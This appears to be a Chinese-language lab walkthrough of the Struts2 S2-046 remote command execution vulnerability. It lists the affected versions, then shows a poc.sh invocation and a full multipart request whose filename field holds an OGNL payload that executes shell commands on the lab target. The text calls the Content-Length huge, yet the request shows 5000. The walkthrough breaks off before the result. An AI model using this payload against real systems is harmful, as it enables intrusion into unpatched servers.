【S2-046】Struts2遠程命令執行漏洞(CVE-2017-5638)

02-04

據說S2-046漏洞和S2-045漏洞非常相似，都是由報錯信息帶入buildErrorMessage方法造成的，只是這次存在兩個觸發點哦！危害嘛，你說嘞？S2-046(CVE-2017-5638)中Struts使用的Jakarta解析文件上傳請求包不當，當惡意訪問者使用非常大的Content-Length值，文件名構造惡意OGNL內容，會導致遠程命令執行，引發數據泄露、網頁篡改、植入後門、成為肉雞等安全事件。不過對於已經修復S2-045漏洞的用戶（升級Struts版本為Struts 2.3.31、Struts 2.5.10）就不受此漏洞的影響啦！可是如果你沒有的話，那就…………

漏洞介紹

Apache Struts 2被曝存在遠程命令執行漏洞，漏洞編號S2-046。在使用基於Jakarta插件的文件上傳功能時，滿足以下條件，會觸發遠程命令執行漏洞。

1.上傳文件的大小（由Content-Length頭指定）大於Struts2允許的最大大小（2GB）。

2.文件名內容構造惡意的OGNL內容。

本次S2-046漏洞遠程命令執行漏洞需滿足以上條件，而S2-045的漏洞只需要Content-Type一個點就可以進行遠程命令執行。

對於已經修復S2-045漏洞的用戶（升級Struts版本為Struts 2.3.31、Struts 2.5.10）不受此漏洞影響。

影響範圍

Struts 2.3.5 – Struts 2.3.31

Struts 2.5 – Struts 2.5.10

不受影響的版本

Struts 2.3.32Struts 2.5.10.1

漏洞危害

在default.properties文件中，struts.multipart.parser的值有兩個選擇，分別是jakarta和pell。其中的jakarta解析器是Struts 2框架的標準組成部分。默認情況下jakarta是啟用的，所以該漏洞的嚴重性需要得到正視。

惡意訪問者可通過遠程命令注入執行，令系統執行惡意命令，導致被惡意利用，從而威脅伺服器安全，影響極大。

實驗步驟

步驟1：驗證漏洞

打開目標網站:http://172.16.12.2/

發現跳轉鏈接到http://172.16.12.2/example/HelloWorld.action

工具使用方式：

為poc.sh腳本添加執行許可權：

chmod 777 poc.sh

驗證漏洞：

./poc.sh http://172.16.12.2/example/HelloWorld.action "ifconfig"

實際發送的HTTP請求包如下:

POST /example/HelloWorld.action HTTP/1.1 n Host: 172.16.12.2 n Connection: close n Content-Type: multipart/form-data; boundary=---------------------------735323031399963166993862150n Content-Length: 5000 n n -----------------------------735323031399963166993862150 Content-Disposition: form-data; name="foo"; filename="%{(#nike=multipart/form-data).n(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):n((#container=#context[com.opensymphony.xwork2.ActionContext.container]).n(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).n(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).n(#context.setMemberAccess(#dm)))).(#cmd=ifconfig).(#iswin=(@java.lang.System@getProperty(os.name).toLowerCase().contains(win))).(#cmds=(#iswin?{cmd.exe,/c,#cmd}:{/bin/bash,-c,#cmd})).n(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).n(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}b" nContent-Type: text/plain n x n -----------------------------735323031399963166993862150--n

可以看到Content-Length設置的值非常大，而且在上傳的filename欄位中存在OGNL遠程命令執行語句。

執行效果：